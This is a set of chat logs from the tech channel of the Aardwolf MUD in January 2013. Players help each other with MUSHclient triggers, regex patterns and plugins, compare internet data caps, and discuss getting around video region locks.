T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yup, install w7 from an usb stick
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mushambo Tech: Happens to be a file that also wouldn't copy over when I was trying to do repairs
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mr. Messy Jesse Tech: clean the disk
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mr. Messy Jesse Tech: or do win 7 usb
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mushambo Tech: Literally brand new disc
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mr. Messy Jesse Tech: shitty
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mr. Messy Jesse Tech: oops
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mushambo Tech: Im reading verious forums, some of which say it could be A) Memory, B) Heat of the drive...those make sense to anyone?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: Are you using a 50MB drive?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mushambo Tech: 500GB :) Sata
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: how do i get the statdb window to open for bast?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Bast Tech: statdb doesn't have a window, miniwin_stats does, the command for that is "mstats stats show" and then "mstat stats front"
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: in regex, if I need to match on a proper-case word (ie, "Ted" but not "ted") and it can sometimes not be there, would the pattern be ([A-Z]\w+)* or something else?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I would use ? instead of *
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and * instead of +
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Pedwiddle Tech: That would also match all-caps words, so you may want to be more specific than w, too
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Pedwiddle Tech: \w, rather
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: all caps is fine, it's just that ansi codes end with a lowercase m and they are usually adjacent to text words.  Just \w would also match on that m.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: why *, Fiendish?  If that uppercase letter appears, there's always going to be more letters following, so wouldn't + be appropriate?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: A
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are single letter words 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I suppose it depends on your purpose
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: true, but I don't think player names are allowed to be that short.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I didn't know this was for player names
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's a reasonable assessment, then
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Summoner Yuna Tech: What does the UG after Youtube in the newest version of the logo (on the site) stand for? It just appeared one day and seems to be ungooglable.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Noodlez Tech: I don't see it.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Summoner Yuna Tech: Strange, I do (upper left corner).
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Summoner Yuna Tech: It might be region-specific
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: so I have bast's moonbot turned on...and it was working fine earlier. but suddenly it stopped showing up. i reset it and it says it works, but.....
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: I suppose if you reset it it needs to recapture the moons again so it knows where in the cycle it is.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: as far as what Aard actually tells you about the moons, it's really pretty basic, so much of the "power" of such plugins is done clientside through calculation/manipulation of data.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: yes, I know....but I'd still like to get my pluggin fixed 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: and look at that it's working.....
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: did you perhaps move recently?  Depending on how it's getting moon-state updates, you might have been in an indoors room when it tried the weather command.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Riddim Tech: is there a command to show the events mini-window from Bast's plugins? If i accidentally closed it, for example?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: it should come back when there's an event that qualifies
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: the page on bast's site about the plugin will list the plugin's commands tho
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Riddim gallantly tips his hat to you. 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: http://code.google.com/p/bastmush/wiki/miniwin_events#Installation
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: anyone got the patience to help me with triggers and buttons?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: any blowtorch experts on?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Usually not a waste of time to go ahead and ask the question, fwiw
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Cizra Tech: Usually a waste of time to ask to ask.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: always*
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: That's what I meant :-P
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: sorry...how do i make triggers and what can they be used for?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Well, I'll assume you know *how* to make a trigger...you click 'Triggers' in the menu, fill it in, and presto!  New trigger.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: What they can be used for is a bit more complicated.  You can have them send text directly to the mud, you can set a variable, and probably several other options.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: actually i have no idea what to put in where 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: it asks for a name and pattern 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Name is just a name for the trigger.  Pattern is the pattern that you want the trigger to match.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Once you fill that in, you can add responders (actions to take when the trigger fires)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: ok so i understand the name now,but not patterns
T3/r7/2013-01-28.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: pattern is where you want it to be send to ie gt/spouse with the line you want it to
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: pattern is the text you want it to match on... "Your eyes glaze over." or "## You start to feel thirsty." or "You see the white moon rising in the east."
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: If you've got the "Interpret as literal?" checkbox checked, then pattern is just a text string.  When the mud sends that string, the trigger will fire.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: or "You raise a level! You are now level *."  (which will trigger for any level, assuming that * is the wildcard character for blowtorch)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: so if i want it to post 'quest' on gt i'll put 'gt quest' on the pattern section ?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: no, put that in the responder section
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Looks like it uses PCRE, or something close to it, so d+
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: \d+, rather
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: the pattern section gets ## You may now quest. or whatever the exact line is
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: uhh whatsoever a wild card
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: what*
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: a wild card character is one specially coded character that matches any one or more characters... For example, You are now level *. would match You are now level 2. or You are now level 36. or You are now level 160.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Also called a blob
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: Laughing Lacrimosa nods at Vakieh.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: but that's a comp sci term and not often used outside ofthe field
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: As wild card is more commonly used to replace single chars, as in b?g, where the wildcard might stand for a, e, i, o, or u
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: so after i've filled in the name and pattern section i need to choose a new action,but it gives me 3 choices..notification,toast message and acknowledgments and acknowledgments with.which do i use
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: What do you want to have happen?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: in terms of triggers, though, Vakieh, you usually end up using blob-type wildcards for many of them.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: Is there any way to merge two map databases? Example I reinstalled the client, had no maps, explored a bunch of places, but then found my old files on my external HDD, which have my (as far as I know, more explored higher level zones) old maps. Any way to merge them without losing what's in one or the other?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Based on the examples, it looked like if it wasn't literal, it was PCRE
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: Wha?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: a message to be posted when i can quest
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Noodlez - unless you want to edit either file by hand, probably not...
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: hmm
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Nightbird - you want an alert when you can quest, or you want to send something to the mud?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: dunno if it works in sqlite, Noodlez, but most database programs will let you join tables...I'd have to think about the SQL statement to do it with unique rows and all
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: sounded like he wanted it to go to gtell
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: Day the Nightbird nods at Laughing Lacrimosa.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Redryn Tech: best to ask fiendish
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Redryn Tech: i think it's probably possible
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: How often can one find Fiendish to talk to?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Redryn Tech: fairly often
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Redryn Tech: you can also write him a note
T3/r7/2013-01-28.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: any plugin that will show repop message for mush?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: The plugins won't do it, but direct access to the sql could without tooooooo much issue. Could get fiddly though
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yeah, Fiendish would be the guy to ask about the mapper stuff. He's on regularly, but I'd suggest writing him a note explaining the situation and asking him if you can arrange a time that you can pick his brains
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Nightbird - If you want to send a command to the mud (e.g., gtell QUEST TIME), you want to use the 'Ack with Responder', and put what you want to send in the blank.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: There used to be one, Tryllus, though I'm not sure it has been updated to include the newest areas
T3/r7/2013-01-28.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i dont mind to add the new arae repop
T3/r7/2013-01-28.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: just not in mood to start from scratch *inno*
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks,so what would the other two options be for
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I know I found one somewhere, but I don't recall where. I CAN tell you it's out there
T3/r7/2013-01-28.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: ok, been looking for it
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Notification response would send a notification to your notification bar.  Toast Message would float a dialog box on your screen for a short time.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Cody Tech: anyone know if basts statmn save the info it tracks if i close mush client?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: It does, same as mapper
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: a quick google of "mushclient aardwolf area repop" brings up this thread: http://www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=6565
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: ok thwnks for the help
T3/r7/2013-01-28.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: hehe, im on that site now looking and thank you
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks*
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pedwiddle Tech: NP - good luck.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: those are old, some of the areas have been redone, but the base functionality is there at least...though I suspect it could probably be done more efficiently now with gmcp
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: I want to start playing WoW but I need to know which data bundle package to choose and how long it will last
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: IT WILL EAT YOUR SOOOOUUUL
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: And aard has first dibs on that
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: your data plan will last until they release a second patch, and then it'll be screwed.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: come on guys. be helpful
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: I don't get it
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: if you have a data plan usage limit, WoW will eat it
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: Wow's patches/updates will destroy it.. especially if you're downloading digitially, and not installing from media
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: not for game play, mind you, but for patches and updates
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: guild wars 2 is the same way
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: okay, lets say I have 1 gig and I plan to play daily for three hours. how long will it last
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: Suppose it depends on what you mean by data package.. as in gb/month, or as in mbps =p
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: Arikhan... 1gig a month.... you'll be able to finish install the client in about 2 years.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: per month
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: Im getting it now. I think
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: Yeah it's huge.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: the client itself is like 6-7GB
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: No shit
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Language
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: it's quite a bit larger with xpacs/patches
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: I think all said and done, current install is something like 36GB
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: checking though..
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: I better get it on my media then than playing it from the internet
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Patches are always via net afaik
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: 1GB might last you 2-3 days of gameplay, but their smaller patches are half a gig now
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: they redid the file structure, it's a little smaller
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: And they go for what, 100meg-2gb depending on severity?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: at the beginning of pandaria (last i played) my install is 19.2 gig
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: you guys are shitting me. You have to be rich for this 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: And again language
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: Or American
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: sorry
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: There are seldom data caps here.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: I get 26mbps unlimited data
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Pondering Penthesilea Tech: tech is a nocurse channel, careful please
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: for like $54 a month
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Here in Au we have data caps - faster speeds than the average US, local anyways, but the caps sit at like 200gb+
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: That's a reasonable cap.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: There goes my dream of playing a mmo.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: It sickens me to see a 5gb cap.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Risking opening a week old can of worms, Aard is an MMO :-P
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ixle Tech: You mean anually right?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: US internet providers reserve the right to limit data for caps, but the landline providers cap at like 250GB.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: 200gb annual? Lolno
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: no, not an annual cap, monthly
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: oh that's annual?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: No, 200gb per month
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: Yeah, that's what I thought
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ashiya Tech: I have 1000mbits for around $50 a month, does that make me cool )?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ixle Tech: Oh, joining late, you must not mean cell service.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: I could go for 1tb, but I don't hit the 200gb even with prodigal tpb-ing
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: Even then - most providors won't bust your chops for exceeding the quota unless its consistant
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Oh, my mobile is not capped
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: There's a 'fair usage' limit of 250gb, but they don't enforce it, I hit 430gb one month.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: the only caps I see at 5GB or so are like the netzero stuff or wireless data plans
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: Exactly Daloran
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Nah, Au usually automatically shape
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Breach the cap and you go to like 256k. Better than it was a few years back, would shape to 64k
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: ouch, 64k a few years back was painful...at least 256k you can still play most games and be reasonably competitive
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: eh. being competitive is more about ping then bandwidth
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: The only time I hit the caps is when new VS gets released. Update VS and SqlServer and hello 50-100 gig
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ashiya Tech: what crappy providers do you guys have that limits data?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Every Australian isp in existence
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and nobody really cares about you hitting the caps for a new version of software
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Daloran Tech: Pretty much every american ISP as well, though not to the same extent... canadian as well, from my understanding
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ashiya Tech: I'm glad I'm not in australia then :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Ashiya, most American ones do too, but the limits are high
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's like 250GB a month or something usually
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Again, they are all automated - not about convincing some asian call center to let you by, automatic hit the cap, shaped network
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ashiya Tech: I'm glad I'm in sweden then :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: heh. i pay 24EUR monthly for 100/20Mbit uncapped and unthrottled fibre, phone and tv
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's usually only the wireless (cell) data plans that have small caps...those are usually like 5GB or so, though you can pay for an extra 1GB at a time on some
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that would cost me $120USD/mo for the same service from the cable company that services here, Dagnir
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: January 2013 (Incoming: 335151 MB / Outgoing: 869844 MB) :D
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: heh, seeding much? :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir rapidly nods twice, in complete agreement.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i have a seedbox and use private trackers exclusively
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: peak months are around 1.6TB
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, i hope i'll get gigabit soon :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: What's the command to lock/unlock the aardmush windows?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: aard layout lock
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: aard layout unlock
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Noodlez Tech: lol son of a
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Cody Tech: with the bast statmn plugin, it shows GQs, and under "Tot" or totals,it says 1, but i have not joined a gq. does this mean there was a gq i couldhave joined, and its tracking them as well??
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vakieh Tech: Any python programmers out there using pydev? Recommend a base Eclipse package to pack the pydev on top of?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}LadyFate Tech: can someone please help me set up a bbssh client for aard?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: can someone, please, help me with triggers in MUSHclient?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Cizra Tech: Extremely unlikely to have mind-readers here.. You might get better chances if you tell us what's the problem, though.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Mendaloth Tech: Have you read this: https://code.google.com/p/aardwolfclientpackage/wiki/Introduction
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: i have read help in mush, but didn't help much :/
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Faeseelie Tech: What kind of trigger are you trying to make?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: problem is that i try to set trigger for disarming...i put * DISARMS * to trigger get weapon, wield weapon
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: but doesn't seams to work
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Faeseelie Tech: You could try getting Bast's plugin package that has a disarm plugin already made if you'd like. Be easier at this point.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Summoner Yuna Tech: Is there a proxtube-like extension for videos locked to countries other than the U.S.? I wanted to view certain U.K-only videos, for instance.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ranrr Tech: triggers probably need regexp and not glob as well. Dunno if mush supports glob matches.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: mush is glob by default
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ranrr Tech: Ok. 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: glob by default and can specify as regex
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: MUSH is anything but user friendly
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Spiridon, did you ever use Zmud?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Faeseelie Tech: Depends on the person. I've had an easy time learning with it. :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it was less so in some respects, more so in others
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: no, i used tintin long time ago and AL client
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: Faeseelie: you are smart person :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Faeseelie Tech: Oh god no, I'm easily frustrated and dumb as a rock when it comes to anything remotely coding. xD 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Faeseelie Tech: I'm pretty much dependent (and thankful) on Fiendish and Bast. 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Spiridon Tech: me too...not much of a coder :/ but what frustrates me is that i fail to do something that should be simple enough
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Arikhan Tech: where can i find girls hanging around this game
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Hakuna Sakata Tech: .......Not on tech
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Sobeit Tech: wang channel
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: Cody rapidly nods twice at Sobeit, in complete agreement.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Cody Tech: sounds legit
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Cody Tech: they on the wang or gossip *lol
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: Faeseelie sighs.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Heisenburger Tech: in mushclient, how can I change the color of tells to something brighter?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: LSD? 
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: don't worry about mush
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: try the colorset command
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Ontuct Tech: alt 8?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you can change the colors of ANY channels there
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Heisenburger Tech: oh awesome. thanks!
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i actually didn't know that thanks as well :)
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Summoner Yuna Tech: The heck? This region-locking of videos stupidity has gone too far. An AOL video about the discoteque fire in Brazil is region-locked for the U.S. only. Whut?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tigernuts Tech: welcome to drm
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Summoner Yuna Tech: Is there any Chrome plugin for unlocking region-locked videos that isn't just for tricking Youtube into thinking you're from the U.S.? Because there's plenty of videos that shouldn't be region-locked that I want to view that I can't because of, I don't know, locusts or whatever the excuse for region-locking news videos is.
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tigernuts Tech: doubt it
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tigernuts Tech: you need a proxy server
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: http://www.labnol.org/internet/youtube-blocked-video-not-available-in-your-country/2680/
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: proxy never hurts either though
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Bloood Tech: i can't get basts planes mobs plugin to work.. it appears fine but then when i do 'plookup mob' it just says 'None' every time :( can anyone help?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Bloood Tech: it always used to work
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Tech: have you reloaded it?
T3/r7/2013-01-28.txt.gz:{chan ch=tech}Bloood Tech: yeah
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Daloran Tech: Is there a way with the mush mapper to show how many areas are in a room? Looking for a way to compare it to the count in explored
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: WHo has a Blackberry? I want to know if its ideal to use BIS for MMORPG games
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Yeah. How do I make all the communication go to the communication log window and not appear on thae main window
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ixle Tech: right click in comm log i think
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: I still dont get it
